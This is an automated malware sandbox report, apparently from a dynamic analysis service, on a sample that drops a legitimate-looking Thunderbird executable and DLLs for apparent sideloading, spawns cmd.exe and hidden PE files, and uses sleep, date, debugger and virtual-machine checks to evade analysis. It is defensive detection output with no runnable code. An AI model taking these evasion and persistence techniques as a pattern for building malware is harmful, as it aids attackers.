Source: Binary string: ntdll.pdbUGP source: Qjsync.exe, 0000000C.00000002.2993611855.0000000004625000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994456320.000000000502D000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995684403.000000000562C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3002973538.0000000006428000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993940701.0000000004A2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992434111.0000000003C2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2997448882.0000000005820000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993776348.000000000482B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001297741.0000000006023000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001773674.0000000006222000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009942750.000000000682F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994768666.0000000005227000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2998408291.0000000005A2A000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990815003.000000000231E000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995178015.0000000005424000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010883351.0000000006E23000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994299092.0000000004E2B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992753897.0000000004029000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010479279.0000000006A26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994106239.0000000004C25000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3011054669.0000000007027000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2999681039.0000000005C26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992266988.0000000003A2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2991394784.0000000002CA0000.00000004.00001000.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010694132.0000000006C2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992592814.0000000003E21000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992985783.0000000004228000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009392654.0000000006627000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993433030.0000000004426000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3000721798.0000000005E20000.00000004.00000001.000
Source: Binary string: wntdll.pdb source: thunderbird.exe, 00000003.00000002.2267589142.000000000414F000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2267700401.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424320446.00000000048BE000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424021424.00000000041A6000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424136432.0000000004500000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2659895514.0000000004DD1000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2661703622.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906941608.0000000004480000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906825762.0000000004123000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: gecko_browsers\Firefox\profiles\2o7hffxt.default-release\pkcs11.txti\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\mail\app\thunderbird.pdb source: thunderbird.exe, 00000003.00000003.2261588256.0000000004854000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nss\softokn\softokn3.pdb source: thunderbird.exe, 00000003.00000003.2261284458.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nss\nss\nss3.pdb source: thunderbird.exe, 00000003.00000003.2260894204.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nsprpub\pr\src\nspr4.pdb source: thunderbird.exe, 00000003.00000003.2260778595.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: UolJwovI8c.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: UolJwovI8c.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: UolJwovI8c.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: UolJwovI8c.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: UolJwovI8c.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Contains functionality to dynamically determine API calls
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1006FAB0 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer, 2_2_1006FAB0
PE file contains an invalid checksum
Source: xpcom_core.dll.3.dr Static PE information: real checksum: 0x744ed should be: 0x73f41
Source: idrccptxisabu.8.dr Static PE information: real checksum: 0x294459 should be: 0x290abc
Source: xpcom_core.dll.2.dr Static PE information: real checksum: 0x744ed should be: 0x73f41
Source: ekxwihvmv.20.dr Static PE information: real checksum: 0x294459 should be: 0x290abc
Source: Trombone.dll.2.dr Static PE information: real checksum: 0x0 should be: 0x9c0ef
PE file contains sections with non-standard names
Source: UolJwovI8c.exe Static PE information: section name: .wixburn
Source: UolJwovI8c.exe.0.dr Static PE information: section name: .wixburn
Source: Qjsync.exe.8.dr Static PE information: section name: Shared
Source: idrccptxisabu.8.dr Static PE information: section name: .xdata
Source: idrccptxisabu.8.dr Static PE information: section name: utage
Source: ekxwihvmv.20.dr Static PE information: section name: .xdata
Source: ekxwihvmv.20.dr Static PE information: section name: utage
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BEAD6 push ecx; ret 0_2_005BEAE9
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0053EAD6 push ecx; ret 2_2_0053EAE9
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10069B01 push ecx; ret 2_2_10069B14
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10063D94 push ecx; ret 2_2_10063DA7

Persistence and Installation Behavior
barindex
Drops executable to a common third party application directory
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File written: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Jump to behavior
Drops PE files
Source: C:\Users\user\Desktop\UolJwovI8c.exe File created: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\idrccptxisabu Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\xpcom_compat.dll Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\Qjsync.exe Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\ekxwihvmv Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\smime3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\plds4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nsldappr32v50.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\softokn3.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\nsldap32v50.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nspr4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\ssl3.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\nss3.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\plc4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\xpcom_compat.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\Trombone.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\softokn3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\xpcom_core.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\smime3.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\ssl3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nss3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\plc4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\js3250.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\js3250.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\nsldappr32v50.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\nspr4.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\xpcom_core.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\plds4.dll Jump to dropped file
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe File created: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nsldap32v50.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Users\user\Desktop\UolJwovI8c.exe File created: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\xpcom_core.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\smime3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\plds4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nss3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\plc4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\js3250.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nsldappr32v50.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nspr4.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\ssl3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\xpcom_compat.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\softokn3.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\Trombone.dll Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe File created: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\nsldap32v50.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\idrccptxisabu Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\ekxwihvmv Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Windows\SysWOW64\cmd.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\IDRCCPTXISABU
Source: C:\Windows\SysWOW64\cmd.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\EKXWIHVMV

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe API/Special instruction interceptor: Address: 6C5B7C44
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe API/Special instruction interceptor: Address: 6D0A7C44
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe API/Special instruction interceptor: Address: 6D0A7945
Source: C:\Windows\SysWOW64\cmd.exe API/Special instruction interceptor: Address: 6D0A3B54
Found dropped PE file which has not been started or loaded
Source: C:\Windows\SysWOW64\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\idrccptxisabu Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ekxwihvmv Jump to dropped file
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Dropped PE file which has not been started: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\Trombone.dll Jump to dropped file
Found evaded block containing many API calls
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Evaded block: after key decision
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Evaded block: after key decision
Found evasive API chain (date check)
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Evasive API call chain: GetLocalTime,DecisionNodes
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Found evasive API chain checking for process token information
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\UolJwovI8c.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe API coverage: 6.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe TID: 7084 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe TID: 5044 Thread sleep time: -90000s >= -30000s Jump to behavior
Uses the system / local time for branch decision (may execute only at specific dates)
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CFEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 005CFF61h 0_2_005CFEC6
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CFEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 005CFF5Ah 0_2_005CFEC6
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 0054FF61h 2_2_0054FEC6
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 0054FF5Ah 2_2_0054FEC6
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_00593CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose, 0_2_00593CC4
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D4440 FindFirstFileW,FindClose, 0_2_005D4440
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005A9B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose, 0_2_005A9B43
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C7B87 FindFirstFileExW, 0_2_005C7B87
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00554440 FindFirstFileW,FindClose, 2_2_00554440
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00529B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose, 2_2_00529B43
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00547B87 FindFirstFileExW, 2_2_00547B87
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00513CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose, 2_2_00513CC4
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005D97A5 VirtualQuery,GetSystemInfo, 0_2_005D97A5
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: noreply@vmware.com0
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: http://www.vmware.com/0
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware, Inc.1!0
Source: Qjsync.exe, 0000000C.00000002.2990103682.0000000000497000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2800043144.0000000000497000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2778410174.0000000000497000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2779003861.0000000000497000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWN
Source: Qjsync.exe, 0000000C.00000002.2990103682.000000000041C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@6J%SystemRoot%\system32\mswsock.dll
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: http://www.vmware.com/0/
Source: Qjsync.exe, 0000000C.00000002.2990103682.0000000000497000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2800043144.0000000000497000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2778410174.0000000000497000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2779003861.0000000000497000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware, Inc.1
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware, Inc.0
Source: C:\Users\user\Desktop\UolJwovI8c.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe API call chain: ExitProcess graph end node
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BE88A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_005BE88A
Contains functionality to dynamically determine API calls
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1006FAB0 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer, 2_2_1006FAB0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C48D8 mov eax, dword ptr fs:[00000030h] 0_2_005C48D8
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_005448D8 mov eax, dword ptr fs:[00000030h] 2_2_005448D8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_0059394F GetProcessHeap,RtlAllocateHeap, 0_2_0059394F
